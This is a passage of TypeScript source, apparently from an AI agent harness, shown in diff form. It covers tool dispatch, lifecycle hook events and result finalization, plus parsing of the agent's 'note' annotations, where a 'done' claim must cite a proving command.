const warnings: ToolDiagnostic[] = [], updates = new Set<Promise<void>>();
|
|
1569
|
-
try {
|
|
1570
|
-
if (!begun) await scoped(() => ctx.extensionHooks?.event("tool_execution_start", { ...lifecycle, args: observerValue(input) }));
|
|
1571
|
-
await ctx.drainNested?.();
|
|
1572
|
-
// Admission, the durable invocation and every hook saw the placeholder; only the tool sees the value.
|
|
1573
|
-
const runInput = ctx.expandSecrets ? ctx.expandSecrets(input) : input;
|
|
1574
|
-
const execute = async () => {
|
|
1575
|
-
const executionContext: ToolContext = { ...ctx, onOutput: chunk => {
|
|
1576
|
-
ctx.onOutput?.(chunk);
|
|
1577
|
-
const update = scoped(() => ctx.extensionHooks?.event("tool_execution_update", { ...lifecycle, partialResult: { content: [{ type: "text", text: new TextDecoder().decode(chunk) }] } }));
|
|
1578
|
-
if (update) {
|
|
1579
|
-
const pending = update.catch(error => { warnings.push(failureFromError(error, UNKNOWN_EFFECT)); }).finally(() => { updates.delete(pending); });
|
|
1580
|
-
updates.add(pending);
|
|
1581
|
-
}
|
|
1582
|
-
} };
|
|
1583
|
-
observed = owned ? finishToolResult(ctx.signal?.aborted ? cancelledTool() : await owned(),
|
|
1584
|
-
toolDefinition(name, ctx)?.access === "read" ? READ_ATTEMPTED : UNKNOWN_EFFECT) : await dispatchTool(executionContext, name, runInput);
|
|
1585
|
-
return observed;
|
|
1586
|
-
};
|
|
1587
|
-
const command = ["bash", "environment", "target", "exec_command", "write_stdin", NATIVE_COMMAND_NAME].includes(name);
|
|
1588
|
-
const operation = () => ctx.workspace && command ? ctx.workspace.command(name, runInput, execute, ctx.signal) : execute();
|
|
1589
|
-
// Progress handlers may enqueue native commands. They run only after this
|
|
1590
|
-
// process drains, before the outer receipt; awaiting them inside it deadlocks.
|
|
1591
|
-
observed = command && ctx.runOwnedCommand ? await ctx.runOwnedCommand(operation) : await operation();
|
|
1592
|
-
await scoped(() => ctx.extensionHooks?.event("tool_result", { ...lifecycle, input: observerValue(input), content: [{ type: "text", text: observed!.content }], isError: !observed!.ok, details: observerValue(observed!.data) }));
|
|
1593
|
-
await scoped(() => ctx.extensionHooks?.event("tool_execution_end", { ...lifecycle, result: observerValue(observed), isError: !observed!.ok }));
|
|
1594
|
-
} catch (error) {
|
|
1595
|
-
// Notification/checkpoint failures after an observed operation cannot erase its actual result.
|
|
1596
|
-
if (observed) warnings.push(failureFromError(error, UNKNOWN_EFFECT));
|
|
1597
|
-
else observed = finishToolResult(caughtFailure(error, UNKNOWN_EFFECT));
|
|
1598
|
-
}
|
|
1599
|
-
await Promise.all(updates);
|
|
1600
|
-
const result = warnings.length ? { ...observed, warnings: [...(observed.warnings ?? []), ...warnings] } : observed;
|
|
1601
|
-
return scopeToolAdvice(ctx, attached ? { ...result, instructions: attached } : result);
|
|
1602
|
-
};
|
|
1603
|
-
}
|
|
1604
|
-
|
|
1605
|
-
async function dispatchTool(ctx: ToolContext, name: string, input: unknown): Promise<ToolResult> {
|
|
1606
|
-
if (ctx.signal?.aborted) return finishToolResult(cancelledTool());
|
|
1607
|
-
const impl = toolDefinition(name, ctx)?.run;
|
|
1608
|
-
if (!impl) {
|
|
1609
|
-
const near = closestName(name, TOOL_DEFINITIONS.filter((tool) => tool.run !== undefined && (ctx.allow === undefined || ctx.allow.includes(tool.name))).map((tool) => tool.name));
|
|
1610
|
-
return finishToolResult(failure("invalid_input", `unknown tool: ${name}` + (near === undefined ? "" : `; did you mean ${near}?`)));
|
|
1611
|
-
}
|
|
1612
|
-
if (typeof input !== "object" || input === null) {
|
|
1613
|
-
return finishToolResult(failure("invalid_input", `tool ${name} needs an object input`));
|
|
1614
|
-
}
|
|
1615
|
-
try {
|
|
1616
|
-
const result = await impl(ctx, repairToolInput(name, input) as Record<string, unknown>);
|
|
1617
|
-
return finishToolResult(result, toolDefinition(name, ctx)?.access === "read" && !ctx.extensions?.has(name) ? READ_ATTEMPTED : UNKNOWN_EFFECT);
|
|
1618
|
-
} catch (err) {
|
|
1619
|
-
// A tool that throws must still produce a result: an unanswered tool_use
|
|
1620
|
-
// makes the next request unpairable.
|
|
1621
|
-
return finishToolResult(caughtFailure(err, toolDefinition(name, ctx)?.access === "read" && !ctx.extensions?.has(name) ? READ_ATTEMPTED : UNKNOWN_EFFECT, `tool ${name} failed: `));
|
|
1622
|
-
}
|
|
1623
|
-
}
|
|
1624
|
-
|
|
1625
|
-
/** One finalizer also covers session-owned tools; result text never determines success. */
|
|
1626
|
-
export function finishToolResult(result: ToolResult, facts = UNKNOWN_EFFECT): ToolResult {
|
|
1627
|
-
if (result.ok) return { ...result, outcome: result.outcome ?? executionOutcome("tool_completed") };
|
|
1628
|
-
const reason = result.outcome?.reason;
|
|
1629
|
-
const actual = result.effect?.kind === "command" ? { execution: "started" as const, effects: "possible" as const } : facts;
|
|
1630
|
-
const code = reason === "cancelled" || reason === "not_started" ? "cancelled" : reason === "timeout" ? "timeout"
|
|
1631
|
-
: result.effect?.kind === "command" ? "command_failed" : actual.effects === "possible" ? "unknown_effect" : "execution_failed";
|
|
1632
|
-
const diagnostic = result.diagnostic?.execution !== undefined ? result.diagnostic : failureDiagnostic(result.diagnostic?.code ?? code,
|
|
1633
|
-
result.diagnostic?.message ?? result.content, actual, { ...(result.diagnostic?.recover ? { recover: result.diagnostic.recover } : {}) });
|
|
1634
|
-
return { ...result, diagnostic, outcome: result.outcome ?? executionOutcome("tool_failed") };
|
|
1635
|
-
}
|
|
1636
|
-
|
|
1637
|
-
function cancelledTool(): ToolResult {
|
|
1638
|
-
return { ...failure("cancelled", "interrupted: cancelled before this tool started"), outcome: executionOutcome("not_started") };
|
|
1639
|
-
}
|
|
1640
|
-
|
|
1641
|
-
export async function workspaceRoot(path: string): Promise<string> {
|
|
1642
|
-
const abs = resolve(path);
|
|
1643
|
-
const s = await stat(abs);
|
|
1644
|
-
if (!s.isDirectory()) throw new Error(`workspace root is not a directory: ${abs}`);
|
|
1645
|
-
return abs;
|
|
1646
|
-
}
|
|
1647
|
-
|
|
1648
|
-
// ---------------------------------------------------------------------------
|
|
1649
|
-
// Annotations
|
|
1650
|
-
// ---------------------------------------------------------------------------
|
|
1651
|
-
|
|
1652
|
-
/**
|
|
1653
|
-
* A `note` call, translated into the log event it records.
|
|
1654
|
-
*
|
|
1655
|
-
* Returned separately from ToolResult because these are not effects on the
|
|
1656
|
-
* workspace: they are the model's own account of what it is doing, which the
|
|
1657
|
-
* handoff carries across a boundary. They remain claims -- a `done` note is
|
|
1658
|
-
* resolved against exit codes in the log, so one whose gate never passed
|
|
1659
|
-
* surfaces as unverified rather than as completed.
|
|
1660
|
-
*/
|
|
1661
|
-
export type Annotation =
|
|
1662
|
-
| {
|
|
1663
|
-
t: "claim";
|
|
1664
|
-
what: string;
|
|
1665
|
-
evidence: { gate: string } | { command: string };
|
|
1666
|
-
/** The raw citation, before the gate registry has had a say. */
|
|
1667
|
-
proof?: string;
|
|
1668
|
-
work_id?: string;
|
|
1669
|
-
}
|
|
1670
|
-
| { t: "next_action"; what: string; next_action: string; work_id?: string; depends_on?: readonly string[] }
|
|
1671
|
-
| { t: "work_dependencies"; what: string; work_id: string; depends_on: readonly string[] }
|
|
1672
|
-
| { t: "work_owner"; what: string; work_id: string; operation: "claim" | "release" }
|
|
1673
|
-
| { t: "decision"; chose: string; because: string; rejected?: readonly string[] }
|
|
1674
|
-
| { t: "pitfall"; tried: string; failed_because: string }
|
|
1675
|
-
| { t: "blocked"; what: string; reason: string; work_id?: string }
|
|
1676
|
-
| { t: "work_status"; what: string; work_id: string; operation: "unblock" | "reopen" | "cancel"; next_action?: string; reason?: string }
|
|
1677
|
-
| { t: "evidence_link"; what: string; work: string; source: string; resource?: string; supersedes?: string }
|
|
1678
|
-
| { t: "question"; text: string };
|
|
1679
|
-
|
|
1680
|
-
export interface NoteOutcome {
|
|
1681
|
-
result: ToolResult;
|
|
1682
|
-
annotation?: Annotation;
|
|
1683
|
-
}
|
|
1684
|
-
|
|
1685
|
-
export function parseNote(input: unknown): NoteOutcome {
|
|
1686
|
-
const parsed = parseNoteInput(input);
|
|
1687
|
-
return parsed.result.ok ? parsed : { ...parsed,
|
|
1688
|
-
result: { ...failure("invalid_input", parsed.result.content), data: { recorded: false } } };
|
|
1689
|
-
}
|
|
1690
|
-
|
|
1691
|
-
function parseNoteInput(input: unknown): NoteOutcome {
|
|
1692
|
-
if (typeof input !== "object" || input === null) {
|
|
1693
|
-
return { result: { content: "note needs an object input", ok: false } };
|
|
1694
|
-
}
|
|
1695
|
-
const o = input as Record<string, unknown>;
|
|
1696
|
-
const kind = String(o["kind"] ?? "");
|
|
1697
|
-
const what = String(o["what"] ?? "").trim();
|
|
1698
|
-
const why = typeof o["why"] === "string" ? o["why"].trim() : "";
|
|
1699
|
-
const id = o["work_id"];
|
|
1700
|
-
if (id !== undefined && (typeof id !== "string" || !id.trim())) {
|
|
1701
|
-
return { result: { ok: false, content: "work_id must be a non-empty string" } };
|
|
1702
|
-
}
|
|
1703
|
-
const identity = typeof id === "string" ? { work_id: id.trim() } : {};
|
|
1704
|
-
const deps = o["depends_on"];
|
|
1705
|
-
if (deps !== undefined && (identity.work_id === undefined || !["next", "depend"].includes(kind) || !Array.isArray(deps) ||
|
|
1706
|
-
deps.some(value => typeof value !== "string" || !value.trim()))) return { result: { ok: false, content: "depends_on requires next/depend with a work_id and explicit non-empty IDs" } };
|
|
1707
|
-
if (id !== undefined && !["next", "done", "blocked", "unblock", "reopen", "cancel", "pin", "decision", "pitfall", "depend", "claim_work", "release_work"].includes(kind)) {
|
|
1708
|
-
return { result: { ok: false, content: "work_id applies to work lifecycle, decisions, pitfalls and pins" } };
|
|
1709
|
-
}
|
|
1710
|
-
|
|
1711
|
-
if (what.length === 0) {
|
|
1712
|
-
return { result: { content: "note needs a non-empty `what`", ok: false } };
|
|
1713
|
-
}
|
|
1714
|
-
|
|
1715
|
-
switch (kind) {
|
|
1716
|
-
case "depend": {
|
|
1717
|
-
if (!identity.work_id || !Array.isArray(deps)) return { result: { ok: false, content: "depend requires work_id and depends_on" } };
|
|
1718
|
-
return { result: { ok: true, content: "recorded dependencies" }, annotation: { t: "work_dependencies", what, work_id: identity.work_id, depends_on: deps as string[] } };
|
|
1719
|
-
}
|
|
1720
|
-
case "claim_work": case "release_work": {
|
|
1721
|
-
if (!identity.work_id) return { result: { ok: false, content: "work ownership requires a work_id" } };
|
|
1722
|
-
return { result: { ok: true, content: "recorded work ownership" }, annotation: { t: "work_owner", what, work_id: identity.work_id, operation: kind === "claim_work" ? "claim" : "release" } };
|
|
1723
|
-
}
|
|
1724
|
-
case "pin": {
|
|
1725
|
-
const source = o["event"];
|
|
1726
|
-
if (!identity.work_id || typeof source !== "string" || !source.trim()) return { result: { ok: false, content: "pin requires an existing work_id and original event id" } };
|
|
1727
|
-
for (const key of ["resource", "supersedes"]) if (o[key] !== undefined && (typeof o[key] !== "string" || !o[key].trim())) return { result: { ok: false, content: `${key} must be a non-empty string` } };
|
|
1728
|
-
return { result: { ok: true, content: "recorded evidence reference" }, annotation: { t: "evidence_link", what, work: identity.work_id, source,
|
|
1729
|
-
...(typeof o["resource"] === "string" ? { resource: o["resource"] } : {}),
|
|
1730
|
-
...(typeof o["supersedes"] === "string" ? { supersedes: o["supersedes"] } : {}) } };
|
|
1731
|
-
}
|
|
1732
|
-
case "done": {
|
|
1733
|
-
// Accepts the older field names too: a model that writes `gate` or
|
|
1734
|
-
// `command` meant the same thing, and refusing on the field name would
|
|
1735
|
-
// lose a real claim over a schema detail.
|
|
1736
|
-
const proof = ["proof", "gate", "command"]
|
|
1737
|
-
.map((k) => (typeof o[k] === "string" ? String(o[k]).trim() : ""))
|
|
1738
|
-
.find((v) => v.length > 0);
|
|
1739
|
-
if (!proof) {
|
|
1740
|
-
return {
|
|
1741
|
-
result: {
|
|
1742
|
-
content:
|
|
1743
|
-
"a `done` note must cite the command that proves it; run the " +
|
|
1744
|
-
"proving command first, then record it",
|
|
1745
|
-
ok: false,
|
|
1746
|
-
},
|
|
1747
|
-
};
|
|
1748
|
-
}
|
|
1749
|
-
// Whether this is a gate name or a raw command is the harness's
|
|
1750
|
-
// question, not the model's -- ctx decides, in the loop.
|
|
1751
|
-
return {
|
|
1752
|
-
result: { content: `recorded: done "${what}" (proof: ${proof})`, ok: true },
|
|
1753
|
-
annotation: { t: "claim", what, evidence: { command: proof }, proof, ...identity },
|
|
1754
|
-
};
|
|
1755
|
-
}
|
|
1756
|
-
case "next": {
|
|
1757
|
-
const next = typeof o["next_action"] === "string" ? o["next_action"].trim() : "";
|
|
1758
|
-
if (next.length === 0) {
|
|
1759
|
-
return { result: { content: "a `next` note needs a concrete next_action", ok: false } };
|
|
1760
|
-
}
|
|
1761
|
-
return {
|
|
1762
|
-
result: { content: `recorded: next "${what}" -> ${next}`, ok: true },
|
|
1763
|
-
annotation: { t: "next_action", what, next_action: next, ...identity, ...(Array.isArray(deps) ? { depends_on: deps as string[] } : {}) },
|
|
1764
|
-
};
|
|
1765
|
-
}
|
|
1766
|
-
case "decision": {
|
|
1767
|
-
if (why.length === 0) {
|
|
1768
|
-
return { result: { content: "a `decision` note needs `why`", ok: false } };
|
|
1769
|
-
}
|
|
1770
|
-
const rejected = Array.isArray(o["rejected"])
|
|
1771
|
-
? (o["rejected"] as unknown[]).map(String)
|
|
1772
|
-
: undefined;
|
|
1773
|
-
return {
|
|
1774
|
-
result: { content: `recorded: decision "${what}"`, ok: true },
|
|
1775
|
-
annotation: {
|
|
1776
|
-
t: "decision", chose: what, because: why, ...identity,
|
|
1777
|
-
...(rejected && rejected.length > 0 ? { rejected } : {}),
|
|
1778
|
-
},
|
|
1779
|
-
};
|
|
1780
|
-
}
|
|
1781
|
-
case "pitfall": {
|
|
1782
|
-
if (why.length === 0) {
|
|
1783
|
-
return { result: { content: "a `pitfall` note needs `why` it failed", ok: false } };
|
|
1784
|
-
}
|
|
1785
|
-
return {
|
|
1786
|
-
result: { content: `recorded: pitfall "${what}"`, ok: true },
|
|
1787
|
-
annotation: { t: "pitfall", tried: what, failed_because: why, ...identity },
|
|
1788
|
-
};
|
|
1789
|
-
}
|
|
1790
|
-
case "blocked": {
|
|
1791
|
-
return {
|
|
1792
|
-
result: { content: `recorded: blocked "${what}"`, ok: true },
|
|
1793
|
-
annotation: { t: "blocked", what, reason: why || "no reason given", ...identity },
|
|
1794
|
-
};
|
|
1795
|
-
}
|
|
1796
|
-
case "unblock":
|
|
1797
|
-
case "reopen":
|
|
1798
|
-
case "cancel": {
|
|
1799
|
-
if (identity.work_id === undefined) return { result: { ok: false, content: `${kind} requires an existing work_id` } };
|
|
1800
|
-
const next = typeof o["next_action"] === "string" ? o["next_action"].trim() : "";
|
|
1801
|
-
if (kind !== "cancel" && !next) return { result: { ok: false, content: `${kind} requires a current next_action` } };
|
|
1802
|
-
return { result: { ok: true, content: `recorded: ${kind} ${identity.work_id}` },
|
|
1803
|
-
annotation: { t: "work_status", work_id: identity.work_id, what, operation: kind,
|
|
1804
|
-
...(kind !== "cancel" ? { next_action: next } : {}), ...(why ? { reason: why } : {}) } };
|
|
1805
|
-
}
|
|
1806
|
-
case "question": {
|
|
1807
|
-
return {
|
|
1808
|
-
result: { content: `recorded: question "${what}"`, ok: true },
|
|
1809
|
-
annotation: { t: "question", text: what },
|
|
1810
|
-
};
|
|
1811
|
-
}
|
|
1812
|
-
default:
|
|
1813
|
-
return {
|
|
1814
|
-
result: {
|
|
1815
|
-
content: `unknown note kind "${kind}"; use done, next, decision, pitfall, blocked, question, unblock, reopen or cancel`,
|
|
1816
|
-
ok: false,
|
|
1817
|
-
},
|
|
1818
|
-
};
|
|
1819
|
-
}
|
|
1820
|
-
}
|